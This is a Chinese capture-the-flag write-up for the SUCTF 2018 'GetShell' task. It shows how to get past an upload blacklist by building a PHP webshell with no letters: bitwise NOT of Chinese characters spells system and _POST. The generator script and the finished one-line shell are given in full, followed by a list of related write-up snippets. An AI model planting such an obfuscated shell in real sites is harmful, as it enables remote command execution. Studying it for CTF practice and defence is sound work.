场景

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){$data=substr($contents,5);foreach ($black_char as $b) {if (stripos($data, $b) !== false){die("illegal char");}}
}

提示让我们上传shell,但又有黑名单过滤。
fuzz了之后发现这些字符没被过滤
$ ( ) [ ] _ ~ ; .
想到了p神的一篇文章
无字母webshell

<?php$word = '一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖
护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚
旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗';for($i=0; $i<mb_strlen($word, 'utf-8'); $i++){$char = mb_substr($word,$i,1,'utf-8');$a = ~($char);$b = $a[1];$array = ['s','y','t','e','m','_','P','O','S','T'];if(in_array($b,$array)){echo $char.":".$b."<br>";}}

最后我们用这几个:

区:s
册:y
勿:t
皮:e
针:m
研:_
寻:P
尽:O
欢:S
立:T

shell:

<?=
$_=[];
$_=($_===$_);
$___=~区[$_].~册[$_].~区[$_].~勿[$_].~皮[$_].~针[$_];//system
$____=~研[$_].~寻[$_].~尽[$_].~欢[$_].~立[$_];//_POST
$___($$____[_]);

因为不允许换行符和字母,所以最后:

<?=$_=[];$_=($_===$_);$___=~区[$_].~册[$_].~区[$_].~勿[$_].~皮[$_].~针[$_];$____=~研[$_].~寻[$_].~尽[$_].~欢[$_].~立[$_];$___($$____[_]);

成功getshell

不过这flag是个假flag,找不到真的,看了wp说在环境变量里,执行env就可以看到了。

[SUCTF 2018]GetShell相关推荐

  1. CTF训练计划—[SUCTF 2018]GetShell

    前言: 这道题考察的是构造无字母数字的webshell,也挺有趣,被卡了一天了,还有看了网上的WP,千篇一律,所以很有必要记录一下. [SUCTF 2018]GetShell 直接给出源码 <? ...

  2. BUUCTF:[SUCTF 2018]GetShell

    题目地址:https://buuoj.cn/challenges#[SUCTF%202018]GetShell if($contents=file_get_contents($_FILES[" ...

  3. BUUCTF-社团考核

    目录 1.[CISCN2019 华东南赛区]Web4 2.[GWCTF 2019]枯燥的抽奖 3.[NCTF2019]Fake XML cookbook 4.[SCTF2019]Flag Shop 5 ...

  4. BUUCTF(12_1-12_5)

    //最近一直在准备四级所以鸽了几天 [GXYCTF2019]StrongestMind 让计算数字,计算一千次给flag 我们需要写一个脚本 import re import requests fro ...

  5. Stacked Queries(堆叠注入)

    文章目录 基本知识 原理介绍: 堆叠注入的局限性 Mysql数据库实例介绍 CTF 实战与各种姿势 修改表名 利用HANDLER语句 利用MySql预处理 正常利用 MySql预处理配合十六进制绕过关 ...

  6. 天枢Dubhe战队:岁月不败勇者,你我战益弥坚

    ​​2021年12月27日09:00,SCTF 2021顺利落幕.天枢Dubhe战队来势汹汹,在最后时刻成功捍卫荣耀,获得冠军. 赛后,时隔三年多,我们再次采访到了天枢Dubhe战队. #1 ​七年常 ...

  7. 2018 SUCTF招新赛

    PWN 1.stack checksec一波 什么保护都没开,可还行,IDA找一波漏洞 read函数百分之百溢出 我们看到了我们喜爱的 改一下rip美滋滋 exp #coding=utf8 from ...

  8. thinkphp5(thinkcmf5)2018年12月9日getshell漏洞

    cmf修复路径:根目录\simplewind\thinkphp\library\think\App.php 85行添加以下标明的修复代码: // 获取控制器名$controller = strip_t ...

  9. thinkphp5调用shell脚本_thinkphp5.x全版本任意代码执行getshell

    ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的ge ...

  10. 面向萌新的红帽杯2018线上赛wp

    网络安全攻防大赛第二届"红帽杯"网络安全攻防大赛(除了web3 guess id,不会做.没写.) misc2 Not Only Wireshark 下载流量包,wireshark ...

最新文章

  1. Linux-PAM PAM-MySQL的总结
  2. Java并发编程实战_一线大厂架构师整理:java并发编程实践教程
  3. PHP文件打开读取操作
  4. 这个地球仪太惊艳了,陪孩子畅聊天文地理。
  5. BAT人脸识别功能第二步-人脸检测
  6. oracle 两表两列数据对比_Oracle、PostgreSQL与Mysql数据写入性能对比
  7. 洛谷 P3320: bzoj 3991: LOJ 2182: [SDOI2015]寻宝游戏
  8. java 批量执行 sql_执行批量操作 - SQL Server | Microsoft Docs
  9. 箱线图怎么判断异常值_异常数值识别(检测)
  10. Android 中 liblog 和 libcutils 的编译 trick
  11. c语言判断字符串合法标识符,HDU 2024 C语言合法标识符(以及一些关于输入和ctype.h的内容)...
  12. 解决ubuntu10.04不能上网
  13. testbench文件显示波形_如何编写testbench的总结(非常实用的总结)
  14. 基于二叉链表的二叉树最长路径的求解
  15. 服务器硬盘raid方案,服务器RAID磁盘阵列经验总结
  16. Mac版Sublime Text3搭建c语言环境
  17. 数据化是什么,企业为什么要数据化管理?【Teamface企典】
  18. 一篇讲左偏树的好文章~
  19. js:身份证号码脱敏(对中间11位号码用*号替换)
  20. 【Windows】能上QQ却打不开网页(提示未连接到互联网,代理服务器出现问题,或者地址有误。)的解决办法

热门文章

  1. MyBatis要不要学?京东内部的这份MyBatis文档真香!
  2. 浙大pintia答案c语言,浙大版《C语言程序设计(第3版)》题目集 - 学习笔记 - 编程题 - 习题3-3 出租车计价...
  3. Android MVP架构手绘图
  4. FlashFxp 设置主动模式
  5. [原创]FlashFXP打造自动镜像更新
  6. 行测题练习(7-29)【1】
  7. 李炎恢php视频教程ed2k,李炎恢PHP视频教程第一二三四季,含源码和教课文档从入门到精通...
  8. 提高项目39-电子词典
  9. 如何在移动硬盘上安装Linux系统?WIN10 + Ubuntu 18.0.4(LTS)
  10. SplitContainer的使用